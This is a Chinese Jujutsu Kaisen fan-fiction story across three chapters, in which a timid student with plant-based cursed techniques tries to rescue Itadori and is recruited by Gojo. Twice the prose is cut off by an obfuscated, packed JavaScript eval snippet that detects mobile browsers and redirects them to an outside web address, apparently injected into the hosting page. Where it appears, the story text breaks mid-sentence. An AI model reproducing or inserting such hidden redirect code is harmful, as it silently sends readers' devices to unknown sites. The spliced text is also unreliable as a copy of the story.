《高专恋爱实习手册》 1. 第一章 杉泽第三高校,下午四点钟,学生们早已放学回家,空旷的教室里只剩下双双成对的值日生。 原本应该和花野依一起值日的同学,此刻正在双手合十,一脸歉意的看着她。 “抱歉!花野桑!我真的有一个非常重要的约会!所以今天的值日就靠你了!” 正在努力擦黑板的花野停下手里的动作,过了半晌,花野依动作僵硬地转向面前的同学。 她微微低着头,披散的长发挡住她飘忽的眼神,有些纠结又卡顿地开口 “但……但是……” “拜托了!!!” 面前的同学打断了她,弯下腰眼神灼热地盯着她。 “咦!诶!” 花野依被突如其来的打断吓了一跳,她似乎很不适应别人的注视。 她侧过头,避开眼神交流,直愣愣地看着黑板上自己擦掉一半的字迹。 手里的黑板擦被紧紧地握着手心中的汗和黑板擦上的粉笔灰黏黏糊糊地混在一起。 加油啊!勇敢一点!这次一定要果断地拒绝!我可以做到的! 花野依给自己做了心理准备,深吸一口气 “那……那个” 盯…… 花野依闭上了嘴 盯…… 花野依纠结 盯…… 花野依最终开口道,“好……好吧……” “太感谢了!”,同学头也不回地跑向门口。 下次……下次一定要勇敢地拒绝。 ———— 下午五点半的校园,安静得有些过分。 夕阳把整栋教学楼染成了暖橙色,走廊里空荡荡的。 只有花野依自己的脚步声在回响,她刚把最后一个窗户关好,正准备去锁教室门,突然听到了什么声音。 很远,像是有什么东西在移动 花野依停下脚步,侧耳倾听,又是几声,这次更清晰了,像是重物落地的闷响,从楼上传来,她下意识地抬头看向天花板。 这个时间,学校里应该没有人才对,难道是值日生? 不对,其他班级的值日生应该早就走了…… 又是几声,这次还伴随着玻璃碎裂的声音,花野依的心脏猛地收紧,她知道自己应该装作没听见,应该赶快离开学校回家。 奶奶说过,放学后要直接回家。 可是…… 花野依攥紧了书包带子,站在楼梯口犹豫了很久,最后,她还是迈开了脚步。 不是往校门口的方向,而是往楼上。 每上一层楼,她的心跳就快一分,腿开始发软,手心开始出汗,呼吸也变得急促起来。 没事的,没事的,只是去看看,如果有什么不对劲就马上跑。 声音是从天台传来的。 花野依推开那扇通往天台的铁门时,小心翼翼地只开了一条缝,把眼睛凑上去。 她看到了让她心脏骤停的一幕。 天台上站着两个社会哥。 一个穿着黑色制服、戴着奇怪眼罩的高个子男人,和一个黑色刺猬头的少年而他们旁边,地上躺着一个人—— 虎杖悠仁! 花野依的眼睛瞬间瞪大了。 虎杖同学!他怎么会在这里?他怎么了? 她拼命压抑住冲出去的冲动,强迫自己冷静下来观察。 虎杖悠仁躺在地上一动不动,不知道是睡着了还是昏迷了,而那两个陌生人正站在他旁边,居高临下地看着他。 “——所以,死刑的事情——” 风把那个高个子男人的话吹过来,断断续续的,但“死刑”两个字清晰地钻进了花野依的耳朵里。 死刑!?他们要杀了虎杖同学? 花野依的脑子里“嗡”的一声,一片空白。 等她回过神来的时候,发现自己已经在发抖了,抖得牙齿都在打颤。 怎么办!怎么办!怎么办!!! 她下意识地看向地上的虎杖悠仁,他闭着眼睛,眉头微微皱着。 光着上半身着看起来很不舒服的样子,脸上沾着灰尘和不知名的污渍,整个人蜷缩在那里。 花野依想起昨天中午,她在走廊上被几个高年级的学姐拦住,说她挡路了,她吓得说不出话。 是路过的虎杖悠仁笑着走过来,说“啊抱歉抱歉,是我让她在这里等我的”,帮她解围。 想起开学第一天,他看出她的窘迫主动和她说“我们是同班同学,以后请多关照!” 他是在学校里为数不多真正关照自己的人。 花野依深吸一口气,又深吸一口气,她的手抖得厉害,但还是紧紧攥住了胸口的校服。 “噗噗”,她轻声唤道。 一个圆滚滚的身影从她身后的阴影里钻出来。 那是一个肚子巨大、四肢却短小得几乎看不见的植物咒灵,通体是嫩绿色的,头上顶着一片小叶子,看起来就像一颗会走路的海藻球。 “噗叽?”噗噗歪着脑袋看她。 花野依弯下腰下来,双手捧着噗噗的脸,用只有它们两个能听到的声音说 “噗噗,帮我!我要救虎杖同学” 噗噗眨了眨它那双黑豆一样的眼睛,蹭了蹭她的手心。 花野依又深吸了一口气,闭上眼睛,她需要想一个办法。 那两个陌生人看起来很强,特别是那个戴眼罩的,他只是站在那里,花野依能感觉到他身上散发出的那种压迫感。 不能硬碰硬,要用术式! 她会的不多,大部分都是从妈妈那里继承来的,妈妈留给她的记忆很少,只有一些模糊的画面和感觉。 关于术式的使用方法,却像是刻在骨头里一样清晰。 花野依睁开眼睛,看向天台上那两个人,他们还在说着什么,没有注意到这边的动静。 她悄悄推开铁门,弯着腰,利用天台上堆放的杂物做掩护,一点一点地靠近,每一步都像踩在刀尖上。 心跳声大得吓人,她甚至怀疑对方会不会听到。 终于,她移动到了一个离他们不太远、又有足够遮挡的位置,从这里可以清楚地看到虎杖悠仁。 他就在那里,离她不到十米。 花野依咬了咬嘴唇,接下来,她需要做两件事: 第一,让那两个人无法行动,哪怕只有几秒钟。 第二,把虎杖同学带走。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471624|201513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她闭上眼睛,双手合十放在胸前,她的咒术和植物有关。 花野依的掌心开始发热,她能感觉到,脚下的水泥地面下面,有东西正在苏醒。 就是现在! 她睁开眼睛,双手猛地按在地上。 一瞬间,无数嫩绿的芽尖从水泥地的裂缝中钻出来,以肉眼可见的速度生长、蔓延、开花。 不是普通的植物,而是花野依用自己的咒力催生出的特殊品种。 它们的生长速度是普通植物的几十倍,花瓣会散发出一种迷惑性的香气,让人短暂地失去判断力。 眨眼间,整个天台就变成了一片花海,五颜六色的花朵疯狂地绽放,铺天盖地,淹没了视线所及的一切。 “开花了!”,那个黑发少年全身放松,似乎不觉得眼前的景象怪异。 “哦呀?”这是戴眼罩男人的声音,听起来居然带着一丝好奇,完全没有被吓到的意思。 但花野依没有时间去想这些了,在花朵绽放的同时,她已经冲了出去。 十米,五米,三米—— 她扑到虎杖悠仁身边,用力推了推他 “虎杖同学!虎杖同学!” 没有反应,他昏迷得很沉,花野依急得快哭了,但她强迫自己冷静下来。 “噗噗!” 噗噗从花丛中钻出来,跳到她面前。 “吞下他!”花野依说,“带我们一起走!” 噗噗眨了眨眼,身形变的巨大,几乎有两米左右,然后张开嘴,它的嘴可以张得很大很大,能把一个人整个吞进去。 虎杖悠仁被噗噗含住,被吞进了它圆滚滚的大肚子里,从外面看,只能看到噗噗的肚子微微凸起。 “走!” 花野依抱住噗噗,噗噗用短小的四肢抓住她,然后—— 跳! 噗噗虽然腿短,但它的跳跃力惊人,它带着花野依和肚子里的虎杖悠仁,直接从五层楼高的天台跳了出去。 风在耳边呼啸,花野依紧紧闭着眼睛,只知道死死抱住噗噗。 下落 下落…… 终于,噗噗停了下来 就在这时,一个声音从头顶不远处传来 “哟,跑得挺快嘛~” 花野依的身体瞬间僵住了。 她僵硬地抬起头,就看到那个戴着眼罩的高个子男人正站在天台边缘上,笑眯眯地俯视着她们。 原本应该在一楼的噗噗和自己却又出现在天台。 怎么回事?又回来了? “不……不可能……” 花野依的牙齿又开始打架了 “明明……明明已经……” “已经用花田术式迷惑了我们?” 男人轻巧地从边缘上跳下来,落在她不远处 “嗯,那个招数挺有意思的,差一点就被你骗过去了。” 他语气轻松得就像在说今天的天气不错。 “可惜啊!” 他弯下腰,凑近花野依,“我可是最强的。” 花野依的瞳孔猛地收缩,她想跑,但腿已经软得站不起来了,想用咒术,但大脑一片空白,什么都想不起来…… 2. 第二章 傍晚的天台,风很大。 花野依的刘海被吹得乱七八糟,但她顾不上这些,她所有的注意力都被眼前这个戴着奇怪眼罩的高个子男人占据了。 他明明只是站在那里,甚至没有做出任何动作。 花野依却感觉自己像是被某种庞然大物盯上的小动物,浑身的血液都凝固了。 逃不掉! 这个念头刚在脑海中浮现,那个男人就动了。 只是一瞬间,快到花野依的眼睛根本跟不上,他就已经出现在了噗噗的面前。 “哟,这只咒灵还挺特别!” 男人伸出手指戳了戳噗噗圆滚滚的肚子,语气轻松得像是在评价路边的一只野猫。 噗噗发出了“噗叽”一声,整个身体僵住了,无法控制地缩小了体型吐出了肚子里的虎杖。 男人往后退了几步 它想跑,但作为一株植物咒灵,它对危险的感知比花野依还要敏锐,眼前这个男人身上散发出的气息,让它连逃跑的念头都生不出来。 “放……放开!” 花野依的声音在发抖,但她还是挡在了噗噗和虎杖面前,张开双臂,像一只护崽的母鸡。 尽管她的腿抖得厉害,尽管她的眼眶里已经蓄满了泪水,尽管她的心脏跳得快要从嗓子眼蹦出来。 她还是站出来了 五条悟挑了挑眉,虽然被眼罩遮着看不出来,但他的语气里带上了一丝玩味,“哦?” 那个黑发的少年也跑了过来,气喘吁吁地停在不远处,看到眼前的场景,脸上闪过一丝惊讶。 “五条老师……” “嘘——”五条悟竖起一根手指,示意他别说话,他的注意力完全在眼前这个瘦小的女孩身上。 她穿着杉泽第三高中的校服,看起来也就十五六岁的样子,瘦瘦小小的,一头长发被风吹得乱糟糟的。 此刻她正努力睁大眼睛瞪着他,但那眼神里没有半分威慑力,反而像一只受惊的小鹿。 明明怕得要死,却还是挡在了虎杖和那个奇怪的咒灵前面。 有意思! 五条悟弯下腰,凑近了一些,花野依下意识地往后缩了缩,但她身后就是噗噗和虎杖,根本无处可退。 “你叫什么名字?”他问 花野依抿紧嘴唇,不回答 “唔,不说啊。”五条悟直起身,摸了摸下巴。 “那换个问题——你是咒术师吗?不对,你的咒力波动有点奇怪……是天与咒缚?也不像……” 他自顾自地分析着,完全没注意到花野依的脸色越来越白。 伏黑惠走上前来,看了一眼被护在身后的虎杖,确认他还有呼吸后,稍微松了口气。 “五条老师,虎杖他……” “没事,只是晕过去了。”五条悟摆摆手,他一边说,一边又看向花野依。 女孩依然保持着那个防御性的姿势,但她已经开始发抖了。 不是轻微的颤抖,而是整个人都在哆嗦,像是站在冰天雪地里一样。 伏黑惠皱了皱眉,他注意到这个女孩的视线时不时会飘向地上的虎杖,眼神里带着明显的担忧。 “你把虎杖从我们手里抢走,是想救他?”五条悟问。 花野依咬着嘴唇,点了点头。 “为什么?” “因为……” 花野依的声音小得像蚊子叫 “因为你们要杀他……” “哦?”五条悟的语调上扬 “你怎么知道我们要杀他?” 花野依愣住了 她想起自己刚才躲在暗处时听到的对话。 ‘死刑’两个字清晰地传入耳中,虽然具体的内容她没听清,但那两个字足够让她做出判断了。 “我……我听到了……你们说死刑……” “所以你什么都没搞清楚,就冲出来救人了?” 五条悟的语气里带着一丝不可思议,“你就不怕把自己也搭进去?” 花野依低下头,没有回答,她怕,当然怕,她现在怕得要死,腿软得快要站不住了。 可是…… 她想起虎杖悠仁。 想起他每天笑着和自己打招呼的样子,帮自己搬重物时轻松的表情。 想起他会在自己值日时顺手帮忙擦黑板,从不嫌弃自己说话结结巴巴、总是耐心地听自己把话说完。 他是她在学校里为数不多的、愿意主动和她说话的人,所以当她看到他有危险的时候,她的身体比大脑先动了。 “他……他帮过我……” 花野依的声音很轻,轻到几乎要被风吹散 “很多次……所以……所以我也想帮他……” 五条悟沉默了,过了一会儿,他突然笑了起来。 “哈哈哈哈,有意思,太有意思了!” 他笑得弯下腰,肩膀一抖一抖的,把花野依和伏黑惠都搞懵了。 伏黑惠面无表情地看着自己的老师,内心默默吐槽:又来了…… 花野依则是一脸茫然,不知道这个奇怪的男人在笑什么? “喂,小姑娘” 五条悟直起身,摘下眼罩,露出一双璀璨得不像话的蓝眼睛 “你知道你要救的那个人,是什么身份吗?” 花野依被那双眼睛震住了 好漂亮…… 不对不对,现在不是想这个的时候! 她慌忙移开视线,摇了摇头 “他是两面宿傩的容器,你知道两面宿傩是谁吗?” 花野依继续摇头 “传说中的诅咒之王,曾经差点毁灭整个日本的超级大坏蛋。” 五条悟用轻松的语气说着恐怖的话 “现在那家伙就住在你同学的身体里,随时可能醒来,然后大开杀戒。” 花野依的脸色变得更白了 “所……所以……你们真的要杀他……” “理论上来说,是的。”五条悟重新戴上眼罩,“不过嘛——” 他拖长了语调,故意吊胃口 花野依紧张地看着他 “我们刚才是在讨论这件事,但负责处刑的人还没决定呢。” 五条悟摊了摊手 “而且我这个学生,”他指了指伏黑惠,“正在拼命帮他求情。” 花野依愣住了,所以……她搞错了? 她没有救虎杖同学,而是……把他从一个可能不会死的处境里,抢了出来? 花野依的脸“唰”地一下红了,紧接着又白了。 她做了什么啊…… “对……对不起……”她下意识地道歉,眼眶里悬着的泪水终于忍不住掉了下来 “我……我不知道……我以为……对不起……” 她哭得很克制,只是眼泪一直掉,没有发出什么声音,但这种无声的哭泣反而更让人觉得可怜。 伏黑惠有些不自在地移开视线五条悟倒是饶有兴致地看着她哭。 “喂,别哭了,虽然你搞错了情况,但你做得没错。” 花野依抬起头,泪眼朦胧地看着他。 “什么……意思……” “意思就是,你为了帮助朋友,不自量力地冲了出来,这种行为,还是很有勇气的。” 花野依眨眨眼,眼泪掉得更凶了 五条悟:…… 他是不是说错什么了?怎么越安慰哭得越厉害? 伏黑惠在一旁默默补刀:“五条老师,你完全没有安慰人的天赋。” “喂喂喂,臭小子说什么呢!” 花野依一边哭一边摇头:“不……不是的……是我误会了……还……还害你们担心了……” 她说着,转身抱住噗噗,把脸埋进它软软的肚子里,噗噗“噗叽噗叽”地叫着,用短小的前肢拍了拍她的头。 五条悟看着这一幕,若有所思,这个女孩 她的咒术…… 他看向周围那些还没有完全消散的花朵。 这些花不是幻象,是真实存在的。 她召唤出了这些花,让它们在短时间内快速生长、开花,能做到这一点,说明她对咒力的控制相当精细。 还有那个叫“噗噗”的咒灵。 那个咒灵的气息很纯粹,不像是被强行控制的诅咒,反而像是和她有着某种天然的契约关系,这种共生型的咒灵可不多见。 有意思,太有意思了! “喂,小姑娘”五条悟开口,“你叫什么名字?” 花野依从噗噗肚子里抬起头,小声说:“花……花野依……” “花野依,好名字!”五条悟点点头 “我是五条悟,东京都立咒术高等专门学校的老师,那边那个黑头发的叫伏黑惠。” 他顿了顿,露出一个意味深长的笑容,“花野同学,你有没有兴趣来我们学校上学?” 花野依愣住了 “诶?” “我是说,”五条悟走上前,居高临下地看着她。 “你有成为咒术师的潜力,与其在学校里当一个普通的高中生,不如来我们这里,学习怎么使用你的力量,怎么保护自己。” 花野依张了张嘴,一时不知道该怎么回答 咒术师? 她? 一个连值日都不敢拒绝的人,怎么可能…… “你刚才不是做得很好吗?”五条悟仿佛看穿了她的想法 “明明很害怕,但还是站出来保护了虎杖,而且你的天赋很高。” 花野依低下头,看着自己的双手 这双手刚才召唤出了噗噗,召唤出了那些花朵,把一个昏迷的男生从危险中救了出来。 虽然那个危险是她误会出来的 但她确实做到了 她做到了以前想都不敢想的事情 “我……”花野依犹豫着开口,“我需要……和我奶奶商量一下……” “当然!”五条悟说,“这种事情确实应该和家人商量,不过——” 他掏出一张名片,递给花野依,“如果你想好了,随时可以打这个电话。” 花野依接过名 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“对啊,你看这个,”五条悟指了指噗噗,“就是这个咒灵把你吞下去的。” 虎杖看向那个圆滚滚、短手短脚的奇怪生物,噗噗也看着他,发出一声友好的“噗叽”。 “……好可爱。”虎杖说 花野依从噗噗肚子里抬起头,惊讶地看着他,“你……你不觉得可怕吗?” “可怕?不会啊,挺可爱的。”虎杖咧嘴一笑 “虽然感觉被吞下去的时候可能有点吓人,但既然是为了救我,那就没问题了。” 他顿了顿,认真地看着花野依:“谢谢你,花野同学。” 花野依的脸“唰”地红了,“不……不用谢……我……我也没做什么……” “怎么会没做什么!你可是冒着危险来救我的!,虽然可能是误会,但这份心意我很感激。” 花野依低下头,小声道:“虎杖同学……以前也帮过我很多次……所以……” 虎杖愣了一下,然后笑了起来:“那我们扯平了!以后还是互相帮助的好同学!” 花野依轻轻点了点头 五条悟看着这一幕,嘴角的笑意更深了 “好了好了,感人时刻到此结束。”他拍了拍手,“悠仁,你现在感觉怎么样?能动吗?” 虎杖活动了一下手脚:“应该可以。” “那就好,我们先回高专,解决你的问题。” 五条悟转向花野依,“花野同学,你也早点回家吧,天都黑了。” 花野依点点头,抱紧了噗噗 “那……那个……” “嗯?” “虎杖同学……真的不会死吗?”她鼓起勇气问。 五条悟笑了笑,“放心,有我在,没人能随便杀我的学生。” 虎杖也冲她挥挥手,“别担心我!明天学校见!” 花野依看着他们离去的背影,一直到看不见了,才缓缓蹲下身,把脸埋进膝盖里,心脏还在砰砰直跳。 刚才发生的一切,都像做梦一样。 “噗叽!”噗噗蹭了蹭她的脸 花野依抬起头,摸了摸噗噗的脑袋,“我没事……就是有点累……” 她站起身,拍了拍裙子上的灰尘 天已经彻底黑了,校园里静悄悄的,只有路灯发出昏黄的光。 花野依抱着噗噗,慢慢地往校门口走去,走到一半,她突然想起什么,掏出那张名片。 “东京都立咒术高等专门学校……五条悟……”,她轻声念着名片上的字 咒术师…… 她这样的人,真的可以成为咒术师吗? 但脑海中又响起五条悟的话: “你的天赋很高。” 花野依握紧了名片,小心地把它放进书包最里层的口袋。 也许……可以试试看? ———— 回到家时,奶奶已经做好了晚饭。 “小依,今天怎么这么晚?”奶奶关切地问。 “值……值日……”花野依小声说。 奶奶也没多问,只是招呼她吃饭。 吃完饭,洗完澡,花野依躺在床上,盯着天花板发呆,噗噗趴在她枕头边,已经呼呼大睡了。 今天发生了太多事情,她的脑子到现在还乱糟糟的,但是,有一件事她很确定。 她帮到了虎杖同学,虽然过程乱七八糟的,但她确实做到了。 想到这里,花野依的嘴角忍不住微微上扬,明天,去学校的时候,可以好好和虎杖同学说说话吧? 不会像以前那样,只能远远地看着,不敢靠近。 因为她已经证明了自己,也可以变得勇敢。 哪怕只有一点点。 窗外,月光静静地洒落,温柔地笼罩着这个小小的房间,花野依翻了个身,抱着噗噗,慢慢闭上了眼睛。 明天,会是新的一天。 3. 第三章 第二天早上,花野依是被一阵笑声吵醒,是从她家餐厅传来的。 花野依猛地从床上坐起来,脑子里瞬间闪过无数个可怕的念头。 奶奶?不对,奶奶的笑声不是这样的,是小偷?可是哪个小偷偷东西会笑得这么嚣张? 她小心翼翼地拉开卧室的门,探出半个脑袋往餐厅的方向看去,然后她看到了让她这辈子最懵逼的画面之一。 那个昨天在天台上追她的男人,五条悟此刻正坐在她家的餐桌前,端着她奶奶泡的茶,笑眯眯地和她奶奶聊天。 “是的,小依这孩子很有天赋,我觉得她来我们学校会很有发展。”五条悟说。 “哎呀,这孩子从小就能看到一些奇怪的东西,我还担心她会不会被人当成怪孩子。” 奶奶一边说一边往五条悟的杯子里添茶,“现在有您这样的老师愿意照顾她,我就放心了。” “奶奶您放心,我们咒术高专的师资力量可是全日本最强的。”五条悟说着,还冲奶奶比了个大拇指。 花野依觉得自己可能还在做梦,她用力揉了揉眼睛,又用力掐了掐自己的脸。 疼! 不是梦! 五条悟怎么会在这里?!他怎么知道她家在哪里?!他什么时候来的?! 还有他们刚才在说什么,‘来我们学校’,她还没答应要转学啊! 花野依的大脑当机了,她维持着探头探脑的姿势,一动不动地僵在卧室门口,整个人像一尊雕塑。 “哎呀,小依醒了?”奶奶眼尖,一下就看到了她。 五条悟也转过头来,冲她挥了挥手:“哟,早上好!” 花野依的嘴巴张了张,又闭上,又张了张,愣是发不出任何声音。 她下意识地想把头缩回房间里,躲起来,假装自己没醒过,但奶奶已经起身走了过来,拉着她的手把她往餐厅带。 “来来来,快坐下,五条老师一大早就来家访了,你怎么能躲着呢?” 花野依被奶奶按坐在餐桌前,正对面就是五条悟,他今天没有戴眼罩反而是带了一副黑色墨镜。 “那个……”花野依终于找回了自己的声音,但声音小得像蚊子叫,“您……您怎么……” “怎么知道你家地址的?”五条悟接过话头,笑得一脸灿烂。 “查一下学生档案不就行了?我可是正规学校的正规教师,有权限的哦。” 正规学校?正规教师?有权限?花野依的脑子里只剩下一堆问号,这算什么回答啊?! “好了,既然你醒了,那我们来说说转学的事情。” 五条悟放下茶杯,“手续我都办好了,今天就可以带你去学校看看。” 花野依愣住了。 “手……手续办好了?” “对啊,我刚刚和奶奶聊过了,她也同意了。”五条悟指了指奶奶。 花野依看向奶奶,奶奶慈祥地笑着。 “小依啊,奶奶年纪大了,一直担心你以后怎么办,现在有专门教像你这样的孩子的学校,老师还亲自上门来接你,这是多好的机会啊。” “可……可是我……” “你放心去,奶奶身体好着呢,隔壁山田阿姨会照看我的。” 奶奶拍拍她的手继续说道:“而且五条老师说学校在东京,周末可以回来,平时也能打电话。” 花野依张了张嘴,又闭上。 她有一肚子的话想问,为什么不等她醒来再说?为什么不问问她的意见?为什么就这么决定了? 但当她看向五条悟那张笑眯眯的脸时,所有的话都堵在了喉咙里。 这个人明明是在笑,明明看起来很随和,但花野依就是觉得不敢反驳他,就好像只要他说了什么,就一定会那么做,别人的意见根本不重要。 她低下头,盯着面前的茶杯,小声说:“好……好的……” 窝囊…… 太窝囊了! 但她是真的不敢! 花野依一个人坐在餐桌前,对面是悠然自得喝茶的五条悟。 沉默了好一会儿,五条悟突然开口了,“你是不是有很多问题想问?” 花野依抬起头,对上他的视线,虽然隔着墨镜,但她能感觉到他在看她,她点点头,又赶紧摇摇头。 “想问就问吧。”五条悟说,“我可是很善解人意的。” 善解人意? 花野依在心里默默打了个问号,但既然他都这么说了…… “为……为什么您觉得我会答应?”她鼓起勇气问。 五条悟歪了歪头,“因为你的天赋,身为GTG(Great Teacher Gojo),不可能放着有那么好的天赋的学生吧?” “可……可是我还需要考虑……” “考虑什么?”五条悟打断她,“你考虑来考虑去,最后还不是会答应?” 花野依被噎住了,她想反驳,但发现好像没办法反驳。 “第二个问题,”五条悟伸出两根手指,“你肯定想问,为什么不等你醒来说?” 花野依点点头。 “因为我今天要去接另一个新生,顺路就过来了,而且早点办完手续,你也早点安心,对吧?” 不对,这根本不是让她安心,是让她更不安了,花野依在心里默默吐槽。 “第三个问题,”五条悟又伸出一根手指,“你怎么找到我家的?” “这个我知道,学生档案嘛……” “不对,”五条悟眨眨眼 “我查的是你家附近的房产中介信息,然后对比了你的家庭住址范围,再结合你奶奶平时买菜的活动轨迹,最后锁定的这栋楼,是不是很厉害?” 花野依:…… 这是正常人会做的事情吗?! “开玩笑的。”五条悟笑出声,“就是查了学生档案而已。” 花野依已经完全不知道该怎么反应了,她终于明白了一件事。 这个人,完全没有正常人的常识!他说话做事完全不按常理来,根本不在意别人能不能跟上他的节奏,而且他好像很享受看别人困惑的样子。 这样的人,真的能当老师吗? 她看向五条悟的眼神里,带上了一丝怀疑。 “怎么,不信我?”五条悟挑了挑眉。 “没……没有……”花野依赶紧摇头。 “放心,我可是最强的。”五条悟说,“教你们几个小鬼绰绰有余。” 花野依没有回答,在心里,她默默给自己加了一条对五条悟的印象:自大,看不懂空气,而且教学实力存疑。 一个小时后,花野依背着一个小书包,抱着噗噗,站在自家门口和奶奶告别。 “要好好听老师的话。”奶奶拉着她的手说。 花野依点点头,眼眶有点红。 “别哭,周末就回来了”奶奶擦擦她的眼角,“快去吧,老师等着呢。” 花野依转过身,走向停在路边的黑色轿车,五条悟靠在车门上,正拿着手机看什么,见她走过来,随手拉开了后座的车门。 花野依弯腰钻进去,然后愣住了,后座上已经坐了两个人,虎杖悠仁和那个昨天在天台上的黑发少年——伏黑惠。 “花野同学!”虎杖悠仁一看到她就笑起来,“太好了,你真的来了!” 花野依有些局促地坐在他旁边,小声说:“虎……虎杖同学……” “花野同学!咱们以后就是同学了。” 虎杖转头给花野依介绍,“对了,这是伏黑惠,虽然看起来冷冷的,但其实人很好。” 伏黑惠冲她点了点头:“你好。” “你……你好……” 五条悟坐上副驾驶,回头看了他们一眼:“都认识了吧?那我们出发去接另一个新生。” “还有新生?”虎杖悠仁问。 “嗯,从乡下来的,叫钉崎野蔷薇。”五条悟说,“是个很有个性的女孩,你们应该会合得来。” 花野依抱着噗噗,安静地听着他们说话,车窗外的风景飞快地后退,她看着自己熟悉的街道越来越远。 新的学校,新的同学,新的生活,她能适应吗? 一个小时后,车停在了车站门口。 花野看到了那个站在路边的女孩。 她穿着黑色校服,拖着行李箱,站姿笔挺。 棕色的短发在阳光下泛着光泽,五官英气,眼神锐利和花野依完全相反的类型。 这是花野依对钉崎野蔷薇的第一印象。 “哟,这里!这里!”五条悟冲她挥了挥手。 钉崎野蔷薇走过来,视线在每个人脸上扫过,“钉崎野蔷薇”,她先打了个招呼,然后看向面前三个人。 “虎杖悠仁!仙台来的!” “我是伏黑惠” “我……我是花……花野依,也是仙……仙台来的!” 都是很正常的自我介绍,但是在钉崎视角里却是一个土到爆炸,一个自以为是,唯一的同性看起来是要自己保护的样子。 “唉!” 钉崎有些失望地撇过头,“我这是摊上什么烂摊子啊——!” 虎杖有些无语,“对着别人的脸叹什么气啊?” 五条悟笑着说,“难得一年级四人凑齐了而且三人都是从东京来的,当然要去东京观光了!” “东京!东京!we love 东京!”×2 一说到观光头也不疼了,气也不叹了,野蔷薇和虎杖两人关系也变好了,两人又唱又跳开始商量去哪里观光。 野蔷薇的动作很大,花野依下意识地往旁边缩了缩,但眼睛却忍不住一直往她身上瞟。 好厉害的人,她走路的样子,说话的语气,看人的眼神,都那么自信,那么从容和自己完全不一样! 花野依低下头,抱紧了噗噗,如果她也能像那样就好了。 重新上路,几个人聊了起来,主要是虎杖悠仁在说,伏黑惠偶尔插一两句,钉崎野蔷薇则一直在问关于观光的事情。 花野依全程安静地听着,一句话也没说,她不是不想说话,是不敢。 尤其是钉崎野蔷薇在旁边,她更不敢开口了,总觉得说什么都会显得自己很蠢,但她又很想和钉崎野蔷薇说话。 想问问她从哪里来,想问问她为什么想当咒术师,想问问她怎么才能变得像她那么自信。 可是…… “对了,花野同学,”虎杖悠仁突然叫她。 “你昨天救我的时候用的那个咒术,能再展示一下吗?” 花野依愣了一下,小声说:“可……可以……” 她伸出手,手心朝上,闭上眼睛,过了几秒,一朵小小的白色野花从她掌心冒出来,颤颤巍巍地盛开了。 “哇!”虎杖悠仁凑过来,“好厉害!” 钉崎野蔷薇也看了过来,眼神里带着好奇:“你是植物系的咒术?” 花野依点点头,不敢看她。 “挺有意思的!”钉崎野蔷薇说,“这个咒灵是你的式神?”,她指的是噗噗。 噗噗被花野依抱着,睁着黑豆一样的眼睛看着新朋友。 “是……是的……”花野依小声说,“它叫噗噗……” “噗噗?”钉崎野蔷薇念了一遍这个名字,突然笑了一下,“这名字还挺可爱的。” 花野依愣住了。 她的心跳突然加快了一点,她想继续说什么,但脑子一片空白,完全找不到话题。 就在这时,五条悟的声音从前面传来,“野蔷薇,你知道小依昨天干了什么吗?” 钉崎野蔷薇看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471626|201513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向他:“什么?” “她以为我和惠要杀悠仁,直接用咒术把我们困住,然后把悠仁抢走了。” 五条悟补充道,“胆子小归小,关键时刻还挺勇的。” 钉崎野蔷薇的眼睛亮了一下,重新看向花野依:“真的?” 花野依的脸一下子红了,拼命摇头,“没……没有……是误会……我搞错了……” “但她确实这么做了,为了朋友,敢和最强咒术师作对,勇气可嘉吧?” 钉崎野蔷薇点点头:“确实!”,她看着花野依,眼神里多了一丝认可,“你挺厉害的!” 花野依的脑子一片空白,被夸了,被钉崎野蔷薇夸了! “我……我……其实……”她结结巴巴地想说点什么,但什么都说不出来。 钉崎野蔷薇倒是不在意,自顾自地说下去:“我刚来东京,什么都不知道,你也是新生吧?以后我们可以一起行动。” 花野依用力点头,“好……好的!” 她终于说出来了,虽然只有一个词,但至少说出来了。 花野依偷偷看了一眼走在前面的五条悟,他正看着虎杖说话,好像什么都没发生一样。 但花野依知道,刚才是他故意把话题引到她身上的,是他让钉崎野蔷薇知道了她昨天做的事情,也是他让钉崎野蔷薇对她产生了兴趣。 他是故意的。 他看出来她想和钉崎野蔷薇说话,但不敢开口,所以帮她开了个头。 花野依突然觉得,这个老师好像也没有那么看不懂空气,也许,他确实是个温柔的人? 下一秒,五条悟突然回过头来,“对了小依,你的咒术除了种花还能干什么?能种出水果吗?我想吃草莓。” 花野依:…… 她把刚才的想法收了回去,“不能……”她小声说。 “真可惜。”五条悟转回去,“那我只能自己买了。” 花野依默默抱紧了噗噗,果然,这个人还是那个样子,又自大,又看不懂空气。 但是…… 她看了一眼旁边正在和虎杖悠仁聊天的钉崎野蔷薇,但是她确实帮了自己。 花野依低下头,嘴角微微翘起一点,也许,这个老师,真的可以信任? 车继续往前开,窗外的风景从城市变成了郊外,又从郊外变成了更偏僻的地方。 “到了”五条悟停在一栋废弃的建筑前,“下车吧” 几个人站在建筑前,这是一栋看起来很老旧的公寓楼,墙上爬满了藤蔓,窗户玻璃碎了一半,怎么看怎么像恐怖片现场。 “这是……?”虎杖问。 “观光景点”,五条悟解释。 几个人都看着他。 “开玩笑的!”五条悟摆摆手,“是有咒灵出没的地方,你们今天的任务就是祓除它。” “任务?!”花野依有些惊讶,野蔷薇和虎杖很失望一直在旁边大声抱怨被骗了。 